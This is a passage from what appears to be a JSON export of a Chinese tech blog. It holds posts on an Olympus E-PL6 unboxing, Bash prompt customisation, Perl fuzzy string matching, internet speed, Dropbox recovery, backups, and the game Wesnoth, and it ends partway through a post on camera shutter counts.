單鏡組水貨在億華整整貴了三千，如果是公司貨則是貴了六千，這樣算一算直接買集英堂的水貨還比較划算，若是真的出問題要修，也不會比公司貨貴，所以就下訂了。\n由於我人在台南，不太可能去台北直接拿貨，所以選擇使用 7-ELEVEN 交貨便取貨付款的方式來買，而在 Yahoo 拍賣下標之後，才想到這麼貴的東西透過 7-ELEVEN 來運算，不知道會不會出問題，不過其實我平常也很忙，也沒有其他方式可以選擇，只能用網購來買相機，所以只能祈禱送貨司機可以善待我的相機，雖然說在七天鑑賞期之內可以直接退貨，但是我想沒有人會希望買個東西還要花力氣處理退換貨。\n集英堂的處理速度很快，我是下午下標的，晚上他們就出貨了，而 7-ELEVEN 的交貨便有固定的配送時間，當天寄件，後天下午可以取件，所以我隔兩天之後，就收到相機了。\n裡面的空隙都有用保麗龍填充。\n看到相機的外盒了，看起來防衝撞的保護措施都做的不錯。\n相機外盒都有用泡泡袋包好。\n這是內容物的狀況。\n集英堂写真機的新品保證書。\n附贈的創建 16GB SD 卡與中文說明說電子檔。\nOlympus 原廠光碟與日文的紙本說明手冊。\n盒內同時也附上發票。\n這是相機以及主要的配件，看起來都包得很好，沒什麼問題。\n這是 Olympus E-PL6 機身正面。\nE-PL6 機身反面。\n上方的各種轉盤與按鈕。\n上方的 Olympus E-PL6 Logo。\n相機側邊。\n相機底部。\n相機的另外一側。\n可以翻開的螢幕。\n也可以往下翻。\n螢幕的翻轉有兩段。\n這是 M.ZUIKO DIGITAL 14-42mm F3.5-5.6 II R 變焦鏡，藍色的塑膠貼紙還沒拆。\n鏡頭側面。\n鏡頭前玉。\n鏡頭後玉。\n這是 FL-M1 閃光燈。\n把閃光燈倒過來看。\n使用閃光燈時，要將蓋子打開。\n機身上面的熱靴蓋也要打開。\n再將閃光燈裝上去。\n裝上 FL-M1 閃光燈正面的樣子。\n這是其他周邊的配件，包含一顆電池、原廠背帶、輔助握把、以及一些傳輸線。\n依照下面的步驟，查看一下 Olympus E-PL6 相機快門數：\n按著「MENU」鍵，打開電源。 按下「MENU」鍵，進入螢幕亮度調整的選單。 同時按下「INFO」與「OK」鍵，螢幕會顯示有「Olympus」的字樣。 依序按下「上」、「下」、「左」、「右」、「快門」，再按「上」鍵，進入工程模式。 切換到第二頁，其中的「R」數值就是快門釋放次數。 把鏡頭接上去的狀況。\n開機試拍一下，新的 E-PL6 對焦速度超快，舊的 E520 根本不能比。\n以上是簡單的開箱文。\n網路上對於集英堂的評價似乎都是正面的，我這次購買也覺得很滿意，有些人會擔心這樣沒有去店家現場拿貨，擔心買到用過的新機，不過我個人感覺以 11,000 元來說，這個價格幾乎已經是二手相機的價格了，可以買到全新的機子，我已經是很滿意了，再加上我個人也沒有時間大老遠跑去現場看機，只要相機看起來都沒問題，我就不管了。\n另外我個人對於 Olympus 的相機品質是抱持正面的態度，我舊的 Olympus E520 給我笨手笨腳的摔過一次，從桌上直接落地，鏡頭著地、保護鏡撞歪拆不下來，但還是給我用到現在，快門數五萬多了，從沒送修過，現在買了新機，舊機當備用。\n買了 E-PL6 的同時，我也從億華買了一顆 P 家的 25mm F1.4 定焦鏡（小奶），配在一起感覺還不錯。\n","permalink":"https://blog.gtwang.org/unboxing/olympus-e-pl6-evil-camera-unboxing/","summary":"\u003cp\u003e本篇是 Olympus 微單眼相機 E-PL6 機身加上 M.ZUIKO DIGITAL 14-42mm F3.5-5.6 II R 單鏡組的開箱文。\u003c/p\u003e\n\u003cp\u003e最近因為需要拍一些比較高品質的照片，想找一顆定焦鏡來拍攝，但是我的舊相機 Olympus E520 是舊的 4/3 系統，現在新的相機都已經全面採用 M4/3 了，所以實在不想買舊規格的鏡頭，而若要買 M4/3 的鏡頭，那就勢必要買一台 M4/3 的機身，這樣又要多花一筆很可觀的費用，所以考慮了很久。\u003c/p\u003e","title":"[開箱] Olympus E-PL6 微單眼相機（EVIL）"},{"content":"這裡教您如何自訂 Linux 的 Bash Shell 命令提示字串，打造屬於自己的命令列環境。\n許多的 Linux 使用者在使用命令列時，可能從來就沒有想過命令提示字串可以做些什麼事情，甚至根本就把它忽略了，其實一個良好的命令提示字串可以改善終端機的使用者經驗，讓終端機不再只是死板板的文字而已，有時候還會非常有趣。\n基本設定方法 Linux 的 Bash Shell 命令提示字串可以透過 PS1 這個環境變數來設定，通常他都是寫在 ~/.bashrc 或是 ~/.bash_profile 這些 Bash 的設定檔中，通常預設的設定會類似這樣：\nPS1=\u0026#34;[\\u@\\h \\W]$ \u0026#34; 在 PS1 的設定中，若以反斜線加上一個特定字母，都有一些特殊意義：\n\\u：表使用者的帳號名稱。 \\h：主機名稱。 \\W：目前的工作目錄名稱。 顯示出來的結果會像這樣：\n通常剛裝好的 Linux 系統，命令提示字串大概就是像這樣，沒有什麼特別，但是其實它的功能很強大，可以有很多的變化，以下是一些常用的功能介紹。\n顯示時間 在 PS1 環境變數中，您可以使用 $(linux_command) 的方式，直接執行任何的 Linux 指令，下面是一個執行 $(date) 來顯示目前時間的例子。\nPS1=\u0026#34;\\u@\\h [\\$(date +%k:%M:%S)]\u0026gt; \u0026#34; 結果會像這樣：\n另一種方式是直接使用 t，顯示 hh:mm:ss 格式的時間：\nPS1=\u0026#34;\\u@\\h [\\t]\u0026gt; \u0026#34; 而 @ 則是可以顯示 12 小時制的時間：\nPS1=\u0026#34;[\\@] \\u@\\h\u0026gt; \u0026#34; 任意指令輸出 如果您對於 shell 的程式設計很熟悉的話，可以在 PS1 插入任何的指令輸出或是變數：\nkernel_version=$(uname -r) PS1=\u0026#34;\\!|\\h|$kernel_version|\\$?\u0026gt; \u0026#34; 這裡我們將 uname -r 的輸出儲存在 $kernel_version 變數中，在插入 PS1，而 $? 則是 shell 中的一個特殊變數，它會儲存上一個指令的執行傳回值，另外一個 ! 則是目前指令的歷史紀錄編號。結果會像這樣：\n文字顏色 命令提示字串也可以使用彩色的文字：\nPS1=\u0026#34;\\e[0;34m\\u@\\h \\w\u0026gt; \\e[m\u0026#34; 這裡文字的色彩是靠 ANSI escape code 來指定的，\\e[0;34m 是顏色指定的開始控制碼，結束是 \\e[0m，而在放這中間的所有文字都會是有顏色的，而文字的顏色則是由開始控制碼中的數值來決定：\n0 與 1：0 代表正常亮度，1 代表高亮度。 30 與 37：30 + x 所得到的數值可指定前景顏色（x 值與顏色的對應請參考下面的對應表）。 40 與 47：40 + x 所得到的數值可指定背景顏色（x 值與顏色的對應請參考下面的對應表）。 ANSI escape code 數值與顏色對應表 亮度 0 1 2 3 4 5 6 7 正常 黑 紅 綠 黃 藍 洋紅 青 白 高亮度 黑 紅 綠 黃 藍 洋紅 青 白 多個數值之間以分號（;）隔開，像這裡的 \\e[0;34m 就是指定正常亮度（0），顏色為藍色（34 = 30 + 4），結果會像這樣：\n這是使用高亮度（1）的狀況：\nPS1=\u0026#34;\\e[1;34m\\u@\\h \\w\u0026gt; \\e[m\u0026#34; 加上背景的顏色：\nPS1=\u0026#34;\\e[0;34;47m\\u@\\h \\w\u0026gt; \\e[m\u0026#34; 使用多種顏色，這個是我自己慣用的提示字串：\nPS1=\u0026#39;\\[\\e[1;32m\\]\\u@\\h\\[\\e[m\\]:\\[\\e[1;34m\\]\\W\\[\\e[1;33m\\]\\$\\[\\e[m\\] \u0026#39; PS1 特殊字元 以下這些是在 PS1 中可以使用的特殊字元，您可以用運這些設計自己的命令提示字串。\n\\a：ASCII bell 字元（07）。 \\d：格式為 Weekday Month Date 的日期（例如 Tue May 26）。 D{format}：將 format 傳給 strftime(3)，然後將輸出的結果放進命令提示字串中，如果 format 是空字串，就會使用目前語系的預設的格式，其中的大括號不可以省略。 \\e：ASCII 跳脫字元（escape character，033）。 \\h：機器的簡短主機名稱（hostname），只顯示到第一個句點之前。 \\H：機器的完整主機名稱（hostname）。 \\j：目前的 shell 所掌控的 jobs 數量。 \\l：the basename of the shell’s terminal device name \\n：換行。 \\r：carriage return \\s：the name of the shell, the basename of $0 (the portion following the final slash) \\t：現在時間，24 小時制（HH:MM:SS）。 \\T：現在時間，12 小時制（HH:MM:SS）。 \\@：現在時間，12 小時制（HH:MM AM/PM）。 \\A：現在時間，24 小時制（HH:MM）。 \\u：目前使用者的使用者名稱（username）。 \\v：目前的 bash shell 版本（如 2.00）。 \\V：目前的 bash shell 詳細版本（如 2.00.0）。 \\w：目前的工作目錄完整路徑，若在 $HOME 中，則以 ~ 顯示。 \\W：目前的工作目錄名稱，若在 $HOME 中，則以 ~ 顯示。 \\!：目前指令的歷史紀錄編號。 \\#：目前指令的編號。 \\$：如果是 root 管理者，則顯示 #，否則顯示 $。 \\n：以八進位表示字元，例如 \u000033。the character corresponding to the octal number nnn \\\\：反斜線。 \\[ 與 \\]：當 PS1 參雜一些無法顯示的字元時，就要用這兩個特殊字元包起來，這樣顯示才會正常，例如所有控制顏色或是格式的控制碼，都要加上這兩個特殊字元，這樣可以避免 bash 在計算提示字元長度時出錯。 只要善用這些特殊字元，其實就可以讓自己的命令提示字串有許多的變化。\n繼續閱讀：自訂 Linux 的 Bash Shell 命令提示字串 Prompt（二）：進階格式\n","permalink":"https://blog.gtwang.org/linux/how-to-make-a-fancy-and-useful-bash-prompt-in-linux-1/","summary":"\u003cp\u003e這裡教您如何自訂 Linux 的 Bash Shell 命令提示字串，打造屬於自己的命令列環境。\u003c/p\u003e\n\u003cp\u003e許多的 Linux 使用者在使用命令列時，可能從來就沒有想過命令提示字串可以做些什麼事情，甚至根本就把它忽略了，其實一個良好的命令提示字串可以改善終端機的使用者經驗，讓終端機不再只是死板板的文字而已，有時候還會非常有趣。\u003c/p\u003e","title":"自訂 Linux 的 Bash Shell 命令提示字串 Prompt（一）：基本用法"},{"content":"這裡介紹如何使用 Perl 的 String::Approx 模組進行模糊字串比對（approximate matching）。\n模糊搜尋是實務上常用的搜尋方法，當使用者輸入的關鍵字有些誤差時，透過模糊搜尋還是可以找到使用者想要找的資訊，例如 color 與 colour 兩個字其實是一樣的，如果使用者輸入其中一個，使用一般性的比對就找不到另外一個，或是說使用者根本把單字拼錯，那一般的搜尋就更找不到了。\n在 Perl 程式語言中，我們可以使用 String::Approx 這個 Perl 模組可以讓您進行模糊字串比對，以下是使用的範例教學。\n首先安裝 String::Approx 這個 Perl 模組，在 Ubuntu Linux 中可以用 apt 安裝：\napt-get install libstring-approx-perl 接著就可以使用了，下面這個是一個簡單的 Hello, World 程式：\n#!/usr/bin/perl use String::Approx qw(amatch); @list = \u0026lt;DATA\u0026gt;; $pattern = \u0026#34;strong\u0026#34;; @matches = amatch($pattern, @list); print @matches; __DATA__ steamer strait string stringed strings strong strophe stream stem stemming 這裡我們首先引入 String::Approx 模組的 amatch 函數，然後利用 amatch 比對 @list 中的字串，搜尋 $pattern 這個關鍵字，並輸出比對成功的字串結果。\n這裡 __DATA__ 那一行以下的都是一般的文字資料，放在這裡的資料可以在程式中使用 \u0026lt;DATA\u0026gt; 來讀取。\n這裡我們將 $pattern 設為 strong，而程式執行之後，搜尋出來的結果會像這樣：\nstring stringed strings strong 除了找出 strong 之外，幾個類似的字眼也會一併找出來，如果使用者是要找 string，但是打錯字輸入成 strong，用模糊搜尋還是可以找得出來，這就是模糊搜尋的好處。\n如果只是要判斷是否有比對成功，可以這樣做：\nif (amatch($pattern, @list)) { # matched } 在預設的情況下，amatch 會比對兩個字串之間的差異，如果差異在一定的門檻值以內（預設為 $pattern 長度的十分之一），就會視為比對成功，差異的計算是看 $pattern 與比對的字串之間增加、減少或是改變了幾個字元，實際的計算方式請參考 Levenshtein distance 的說明。\n您可以直接指定這個字串差異的門檻值，可以使用百分比，或是差異數目（edit），或是兩者同時使用：\namatch($pattern, [\u0026#34;3 30%\u0026#34;], @list); 當同時指定多個值的時候，amatch 會檢查每一個門檻值，當每一個門檻值都符合的時候，才會視為比對成功。\n另外也可以針對插入（Insertions）、刪除（Deletions）與替換（Substitutions）的門檻值做指定：\namatch($pattern, [\u0026#34;I2 D20% S0\u0026#34;], @list); 加入 i 可以讓比對時忽略大小寫的差異：\namatch($pattern, [\u0026#34;i I2 D20% S0\u0026#34;], @list); 如果想要檢查 字串之間的 Levenshtein distance，可以使用 adist：\nuse String::Approx \u0026#39;adist\u0026#39;; $dist = adist(\u0026#34;pattern\u0026#34;, $input); @dist = adist(\u0026#34;pattern\u0026#34;, @input); 另外也可以使用 adistr 計算相對的距離，如果距離為 0 代表完全符合，若是 1 代表完全不符合：\nuse String::Approx \u0026#39;adistr\u0026#39;; $dist = adistr(\u0026#34;pattern\u0026#34;, $input); @dist = adistr(\u0026#34;pattern\u0026#34;, @inputs); 您可以結合 adist 或 adistr 將多個字串依照相似性來排序，這個排序方法在許多應用上都常常用到：\nmy %d; @d{@inputs} = map { abs } adistr(\u0026#34;pattern\u0026#34;, @inputs); my @d = sort { $d{$a} \u0026lt;=\u0026gt; $d{$b} } @inputs; 如果您只是想要計算字串之間的 Levenshtein distance，那麼也可以使用 Perl 的 Text::Levenshtein 與 Text::LevenshteinXS 模組，另外 Text::WagnerFischer 與 Text::PhraseDistance 也可以做類似的事情。\n最後要提醒一點，String::Approx 的執行速度通常比 Perl 內建的比對函數慢上數十倍，所以如果您需要比對大量的字串時，建議還是盡量使用一般的常規表達式來處理，真的沒辦法才使用 String::Approx 模組。\n","permalink":"https://blog.gtwang.org/programming/perl-approximate-matching-string-approx-module/","summary":"\u003cp\u003e這裡介紹如何使用 Perl 的 \u003ccode\u003eString::Approx\u003c/code\u003e 模組進行模糊字串比對（approximate matching）。\u003c/p\u003e\n\u003cp\u003e模糊搜尋是實務上常用的搜尋方法，當使用者輸入的關鍵字有些誤差時，透過模糊搜尋還是可以找到使用者想要找的資訊，例如 \u003ccode\u003ecolor\u003c/code\u003e 與 \u003ccode\u003ecolour\u003c/code\u003e 兩個字其實是一樣的，如果使用者輸入其中一個，使用一般性的比對就找不到另外一個，或是說使用者根本把單字拼錯，那一般的搜尋就更找不到了。\u003c/p\u003e","title":"Perl 模糊字串比對（Approximate Matching）String::Approx 模組"},{"content":"這裡討論上網速度太慢與網路升級的問題，花大錢真的可以改善上網的速度嗎？\n現在幾乎家家戶戶都會安裝網路，而各家網路服務供應商（ISP）也都持續升級自己的網路設備與線路，不斷提供更大的網路頻寬給消費者，通常消費者都會有好多種方案可以選擇，從傳統的 ADSL 到光纖網路都有，只要肯付錢，頻寬要多少有多少。\n網路服務供應商（ISP）通常都會希望客戶選擇較快的網路，並且支付更高的網路服務費用，對於使用者而言，付越多錢當然就可以使用越快的網路，看起來也很簡單，但問題在於使用者真的需要那麼快的網路速度嗎？\n我的網路有多快？ 通常網路的實際速度跟網路服務供應商所公告的速度會有些差異，像中華電信光世代的產品，連官方的實測值就跟公告的速率有一些差異，所以只是看公告的速度是不太準的。\n如果想知道自己的網路速度有多快，最直接的方式就是直接測試一下，測試的時候記得別讓其他的電腦或是手機等設備同時使用網路，這樣的測試結果會比較準確。\n知道自己的網路速度之後，接下來我們要討論一下我們到底需要多快的網路，需不需要升級？\n加速下載檔案？ 對於單純從一般的網站下載檔案的狀況而言，使用較快的網路通常會下載速度會比較快，這一點是很直覺的，不過有些網站會對於使用者的連線限制傳輸速度，也就是說下載的速度通常會有一個上限值，不可能無限增加。\n假設我們使用 Hinet 光世代最快的 300M/100M 方案，在下載檔案的速度上，官方 104 年 4 月的資料速率實測值是 220.377~298.851Mb/s，我們以最低的 220Mb/s 來算，下載速度大約是 220/8 = 27.5 MB/s，以這個速度來說，大概很少有網站能夠提供這樣大的頻寬給使用者。\n像我自己的網路頻寬很大，從 Firefox 這類有 CDN 的網站下載檔案，就可以達到 13 MB/s：\n但是同樣的時間，同樣的電腦與網路，從 KINGSOFT Office 下載的速度就差很多，只有不到 400 KB/s：\n像這樣的問題就是因為伺服器的頻寬有限制，不是說升級自己的網路就可以解決的。\n所以如果想要讓下載檔案的速度更快，首先一定要比較一下實際的檔案下載速度與自己的網路速度實測值，如果您的網路速度的測試數值是 5MB/s，但是實際下載檔案時只有 1MB/s，那很顯然不是自己的網路太慢的問題，而是伺服器頻寬的限制，這樣的狀況就算升級網路也是沒用的。\n而如果您的網路速度的測試數值跟實際下載的速度很接近，那瓶頸就很有可能出在自己的網路頻寬，這時候升級的話，就比較有機會獲得更快的速度。\n影像與聲音串流 對於看網路上的影片（如 YouTube 等）或是打 Skype 這類的網路電話時，使用的頻寬會跟聲音與影像的品質有關，有比較大的頻寬就可以收看比較高畫質的影片以及聲音。\n以 Skype 而言，只要有下行 100 Kb/s 與上行 100 Kb/s 的連線就可以通話，而官方是建議下行 4Mb/s 與上行 512Kb/s 會比較好，除非你家的網路真的非常慢，不然這個應該都不是問題。\n至於看 YouTube 影片的部分，就要看您希望看到多好的畫質，要看越好的畫質，頻寬就需要比較大，或是說家中有很多臺電腦同時要看，也會需要更大的頻寬，但是這種頻寬大概都是比較固定的，假設您平常都看 HD 的影片看得很高興了，不會有看一看停頓的問題，那就表示頻寬很夠，不用考慮升級網路了，因為就算升級網路，您也不可能在一小時內看完兩個小時的影片（當然如果您喜歡一直快轉，那就另當別論了）。\n而如果您在觀看影片時，老是需要等個老半天，那這個時候通常就可以考慮升級一下網路，不過也要小心注意一下是不是伺服器的問題引起的，通常我都是看 YouTube 的表現為準，因為 Google 的網路頻寬我覺得比較可靠一些。\n上傳速度 除了下載速度之外，上傳速度也是一個重點，不過這對於一些只是單純上網的人而言，應該是不重要，但如果您需要常常上傳資料到網路上時，就要考慮這個速度，而通常這個速度的瓶頸都會出現在自己的網路頻寬上，因為大部份網路方案的上傳頻寬都比較低，所以如果您感覺上傳的速度不夠，大概就需要升級了。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/should-you-pay-more-for-a-faster-internet-connection/","summary":"\u003cp\u003e這裡討論上網速度太慢與網路升級的問題，花大錢真的可以改善上網的速度嗎？\u003c/p\u003e\n\u003cp\u003e現在幾乎家家戶戶都會安裝網路，而各家網路服務供應商（ISP）也都持續升級自己的網路設備與線路，不斷提供更大的網路頻寬給消費者，通常消費者都會有好多種方案可以選擇，從傳統的 ADSL 到光纖網路都有，只要肯付錢，頻寬要多少有多少。\u003c/p\u003e","title":"上網速度不夠快，應該花錢升級網路嗎？"},{"content":"這裡介紹如何善用 Dropbox 的檔案回復技巧，救回刪除的檔案或更改過的檔案內容。\n當我們在撰寫文章或是整理一些文件資料時，常常會打開 Word 這類的文字編輯器修修改改，在好幾份文件之間複製貼上，並且刪除一些沒有用的檔案，有時候難免會不小心把一些重要的資料或者檔案刪掉，結果過了一兩個禮拜要找資料的時候，才發現資料不見了。\n誤刪檔案時，我們可以使用 Recuva 這類的硬碟救援工具來處理，不過通常搶救檔案的過程都很繁複，而且如果您不是刪除檔案，而是直接更改檔案的內容，那通常大概都是救不回來了。\n如果您要整理的資料真的很重要，不可以有閃失的話，可以嘗試使用 Dropbox 來自動幫您做好萬全的雲端備份，不管是檔案的刪除或是內容的更改，只要檔案有變動，Dropbox 都會自動幫您保留每一個版本，刪除或是修改的檔案，在一個月之內都可以回復，非常方便。以下介紹 Dropbox 自動備份與回復檔案的小技巧。\n將重要的資料放在設定好 Dropbox 同步的資料夾中，這樣在整理資料時，就可以靠著 Dropbox 自動備份。\n在您編輯與整理資料的過程中，隨時可以透過檔案的右鍵選單，查閱過去一個月內所有的版本。\n在 Dropbox 網頁介面中也可以查詢。\nDropbox 會在每一次檔案有變動時，都自動儲存一個備份檔，所以您可以依照時間與檔案大小來尋找以前的版本，這個功能在您不小心改到不該改的檔案內容時十分有用。\n另外，在 Dropbox 網頁的介面中，若要救回不小心刪除的檔案，可以開啟「顯示刪除的檔案」。\n這樣在一個月內刪除的檔案就會顯示出來。\n我們可以從已刪除檔案的右鍵選單中，選擇「還原」將刪掉的檔案救回來。\n","permalink":"https://blog.gtwang.org/useful-tools/dropbox-file-recovery-tips/","summary":"\u003cp\u003e這裡介紹如何善用 Dropbox 的檔案回復技巧，救回刪除的檔案或更改過的檔案內容。\u003c/p\u003e\n\u003cp\u003e當我們在撰寫文章或是整理一些文件資料時，常常會打開 Word 這類的文字編輯器修修改改，在好幾份文件之間複製貼上，並且刪除一些沒有用的檔案，有時候難免會不小心把一些重要的資料或者檔案刪掉，結果過了一兩個禮拜要找資料的時候，才發現資料不見了。\u003c/p\u003e","title":"Dropbox 檔案回復技巧，救回刪除的檔案或更改的內容"},{"content":"您通常是如何儲存自己的照片的呢？如果只是把照片直接丟進外接式硬碟，其實不是一個好的備份方式，正確的資料備份至少要將資料儲存在兩個以上不同的地方，否則您的資料或是照片可能很容易就會不見。\n將照片只儲存在一個外接式硬碟中，是一般人常常會用的做法，但是硬碟這種東西說壞就會壞，如果哪一天它突然故障了，那麼裡面的資料就全毀了，當然您可以選擇將硬碟拿去修理，把資料再救回來，但是這個價格可能不便宜。\n兩份以上的副本備份 正確的檔案備份方式是將檔案儲存在兩個以上不同的地方，萬一其中一個儲存裝置壞了，還有機會從另外一處救回來，對於一些小的文件檔案而言，這個應該很容易，一份放在電腦中，一份放在隨身碟或是外接式硬碟。\n但是對於比較大的照片與影片，就比較難找到兩個地方同時儲存兩份，最常發生的狀況是筆記型電腦的空間不足，就把硬碟中的影片與照片移到外接式硬碟，因為也找不到其他的地方可以存放這些大量的資料，所以就只存一份在外接式硬碟中，不過這樣的風險是非常高的。\n如果您沒有碟壞掉的經驗，您可能認為這存放資料應該很安全，不過硬碟用久了，會壞掉是遲早的事情（請參考硬碟的壽命有多長？），如您的資料很重要，建議趕快在找一個備份的位置，多儲存一份副本，以防萬一。\n資料救援很貴 如果很不幸的，您的硬碟壞了，而其中又有非常重要的資料的話，可以嘗試將您的硬碟拿去資料救援的服務公司，嘗試將資料救回來，而這類的服務會根據硬碟的損壞狀況以及資料的情況來收費，您可以上網搜尋「硬碟資料救援」，看看各家的價格，不過通常都非常的貴，輕微的話，這個費用可以夠您買兩三顆硬碟，如果嚴重的話，可以買到一打了。\n所以除非您的資料不見了也沒差，不然事先花一點小錢做好備份，絕對是值得的，也可以讓您省掉一大堆麻煩。\n外接式硬碟備份 如果您習慣把資料或照片放在外接式硬碟，那麼最好將資料同時備份在兩個外接式硬碟中，或是直接買一個 2Bay 以上的網路硬碟，直接做 RAID 1，讓 NAS 自動幫您把資料備份在兩顆硬碟中，萬一其中一顆壞了，直接買一顆新的插上去，馬上就可以繼續使用，輕鬆省事。\n如果不買 NAS 而要手動備份的話，可以考慮使用 FreeFileSync 這個免費的備份工具，它可以幫助您處理資料備份與同步的問題，讓您比較不會備份重複的檔案，或是在備份時遺漏某一些檔案。\n名稱：FreeFileSync\n網址：https://www.freefilesync.org/\n當然如果您個人電腦的硬碟空間很大的話，也可以將一份備份放在電腦的硬碟中，另外一份放在外接式硬碟，反正只要兩個備份副本不要放在同一顆硬碟就行了。\n線上備份服務 線上的備份服務也是大家常用的方式，最常見的 Dropbox 就是一個很好用的備份工具，他真的非常方便，除了讓資料備份在不同的地方之外，還可以在任何位置透過網路存取，只是免費的空間通常沒有很大就是了。\n網路上類似 Dropbox 的備份工具有很多，像 Google 的雲端硬碟、微軟的 OneDrive 與蘋果的 iCloud 等，都可以備份任何形式的檔案，而如果您想要備份比較大量的照片的話，可以考慮 Google 最新的相簿（無限空間）與 Flickr（1TB 空間），善用這些服務，可以讓您省下一些採購硬碟的錢。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/dont-just-move-photos-to-an-external-drive-thats-not-a-backup/","summary":"\u003cp\u003e您通常是如何儲存自己的照片的呢？如果只是把照片直接丟進外接式硬碟，其實不是一個好的備份方式，正確的資料備份至少要將資料儲存在兩個以上不同的地方，否則您的資料或是照片可能很容易就會不見。\u003c/p\u003e","title":"不要只將照片儲存在外接硬碟，這樣不是備份！"},{"content":"這裡整理了一些測試網路速度的工具與手機 App，可以讓您實際測試自己的網路品質。\n通常 ISP 所公告的網路速度，跟實際上真的網路速度多少會有一些差異，如果您想知道自己的網路實際的傳輸速度是多少，最好的方式就是直接測試一下，以下是幾個比較常見的網路測試工具，而這類的工具在使用上都很簡單，不需要懂太多網路的專業知識就可以使用。\nDr. Speed 在台灣的話，可以使用中華電信提供的 Dr. Speed 測試軟體，它適用於各種作業系統，包含 Windows、Mac OS X 與 Linux。\n名稱：Dr. Speed 測速軟體\n網址：https://speed.hinet.net/\n使用方式很簡單，執行之後就或自動測試。\n這是測試結果。\nSpeedtest.net Speedtest.net 是一個全球知名的網路速度測試工具，不需要下載或安裝，即可立即使用。\n名稱：Speedtest.net\n網址：https://www.speedtest.net/\n這是測試網頁的畫面。\nSpeedtest.net 也有提供手機的 App，Android 與 iOS 都有。\n類似的工具在網路上其實非常多，但是如果要得到比較好的測試數值，就要找離自己最近、而且網路頻寬較大的測試伺服器，這樣才能確保測試的結果不會因為伺服器或是中間傳輸過程的影響而有誤差。\n如果您是使用中華電信的網路，那當然找中華電信所提供的測試伺服器會比較好，而如果使用 So-net 的網路，他也有提供一個測試伺服器可以使用，通常如果是 ISP 所提供測試伺服器，應該都會是離自己最近的，如果自己的 ISP 沒有提供這樣的工具，再使用其他的地理位置比較近的伺服器。\n","permalink":"https://blog.gtwang.org/tips/how-to-test-your-internet-connection-speed/","summary":"\u003cp\u003e這裡整理了一些測試網路速度的工具與手機 App，可以讓您實際測試自己的網路品質。\u003c/p\u003e\n\u003cp\u003e通常 ISP 所公告的網路速度，跟實際上真的網路速度多少會有一些差異，如果您想知道自己的網路實際的傳輸速度是多少，最好的方式就是直接測試一下，以下是幾個比較常見的網路測試工具，而這類的工具在使用上都很簡單，不需要懂太多網路的專業知識就可以使用。\u003c/p\u003e","title":"如何測試網路連線速度？各種測試工具與 App 整理"},{"content":"韋諾之戰（The Battle for Wesnoth）是一款開放原始碼、跨平台的回合制策略遊戲，有濃厚的中古奇幻風格。\n遊戲中有超過 200 種的單位（步兵，騎兵，弓箭手和法師只是一小部分），從小規模伏擊到大規模的正面衝突，有各種戰場。您甚至可以設計自己的單位，任務，甚至整個戰役。您可以在多人對戰中和您的朋友或者是陌生人對戰。\n名稱：韋諾之戰（The Battle for Wesnoth）\n網址：https://www.wesnoth.org/\n韋諾之戰這個遊戲其實在很久以前就有了，不過以前都只有英文版，近幾年因為中文化團隊的努力，現在已經有繁體中文版了，所以對於看不懂英文的人來說，也不會有問題。\n韋諾之戰支援各種作業系統，不管是 Windows、Mac OS X 或是 Linux 都可以玩，以下是我在 Mac OS X 中的一些執行畫面。\n首先是安裝，過程非常簡單，只要下載官方打包好的 dmg 檔，打開之後，將 Wesnoth.app 用滑鼠拖進 Applications 目錄中就可以了。\n這是遊戲的主畫面。\n在實際開始玩之前，可以選擇新手教學的戰役，透過互動式的教學熟悉操作。\n招募新的單位。\n實際開始遊戲，選擇戰役。\n選擇難度。\n我想這種遊戲通常不需要看太多說明就可以玩了，不過有一些單位的屬性、作戰的技巧還是需要稍微看一下，在官方的網站中有中文的用戶手冊可以參考。\n","permalink":"https://blog.gtwang.org/game/the-battle-for-wesnoth-free-turn-based-tactical-strategy-game/","summary":"\u003cp\u003e韋諾之戰（The Battle for Wesnoth）是一款開放原始碼、跨平台的回合制策略遊戲，有濃厚的中古奇幻風格。\u003c/p\u003e\n\u003cp\u003e遊戲中有超過 200 種的單位（步兵，騎兵，弓箭手和法師只是一小部分），從小規模伏擊到大規模的正面衝突，有各種戰場。您甚至可以設計自己的單位，任務，甚至整個戰役。您可以在多人對戰中和您的朋友或者是陌生人對戰。\u003c/p\u003e","title":"韋諾之戰（The Battle for Wesnoth）：免費開放原始碼、跨平台的回合制策略遊戲"},{"content":"這裡介紹如何查看數位單眼相機的快門數，以及它的重要性。\n如果要買二手車，我們一定會注意車子的里程數，而在買二手的數位單眼相機時，一定要看的就是快門數（shutter count），以下我們介紹如何檢查相機的快門數，以及它的重要性。\n快門數的重要性 數位單眼相機（DSLR）跟一般傳統的單眼相機（SLR）類似，最重要而且會常常動作的組件就是反光鏡（reflex mirror）與快門（shutter），這兩個組件在每一次的拍照過程都會有明顯的動作，經過長時間反覆的使用之後，就很容易自然損壞。\n在 YouTube 上有一段影片紀錄了相機在拍攝照片時，內部機件的情況，從慢動作的播放中，可以清楚看到反光鏡如何向上翻開，然後接著是快門的開啟與關閉，最後反光鏡再蓋下來。\n通常相機的電子元件如果用了幾個月都沒問題，大概以後也都不會有什麼問題了，不過快門這類的機械式元件則不同，他就像汽車的引擎一樣，經過長時間的使用，到達其使用壽命之後，就或容易損壞，而且維修起來價格都不便宜。\n所以檢查一下自己相機的快門數，並且對照一下自己這款相機的平均使用壽命（相機損壞時的快門數平均值），就可以估計一下自己的相機還可以用多久，另外在選購二手相機時，參考一下這個數值也是必要的，如果一個很高階的相機價格很便宜，但是快門數已經超出它的平均壽命很多的時候，就要審慎考慮了。\n如何檢查相機快門數？ 檢查相機快門數的方式有很多，除了透過相機本身的工程模式之外，現在許多的相機也會將機身的快門數直接寫進相片的 EXIF 資訊中，所以我們也可以透過相機所照出來的相片來查詢快門數。\nCamera Shutter Count Camera Shutter Count 是一個可以透過照片查尋快門數的線上工具，只要將照片上傳之後，就可以看到相機的快門數。\n名稱：Camera Shutter Count\n網址：https://www.camerashuttercount.com/\n將相片上傳到 Camera Shutter Count 之後，除了顯示快門數之外，他還會告訴您以目前的快門數所推算的相機壽命。\n以 NIKON D50 來說，快門數 1580，推算出來的壽命是\n3% of this model's expected shutter life 從照片的 EXIF 查看快門數 如果您不想要將照片上傳到 Camera Shutter Count，也可以自己使用 exiftool 來從 EXIF 中找出快門數的資訊。\n名稱：exiftool\n網址：https://sourceforge.net/projects/exiftool/\n執行 exiftool 加上照片的檔名，就可以輸出所有的 EXIF 資訊：\nexiftool photo.jpg 在輸出中，找尋「Shutter Count」、「Image Count」、「Image Number」這幾個字眼：\n當然如果您的電腦中本來就有可以查看照片 EXIF 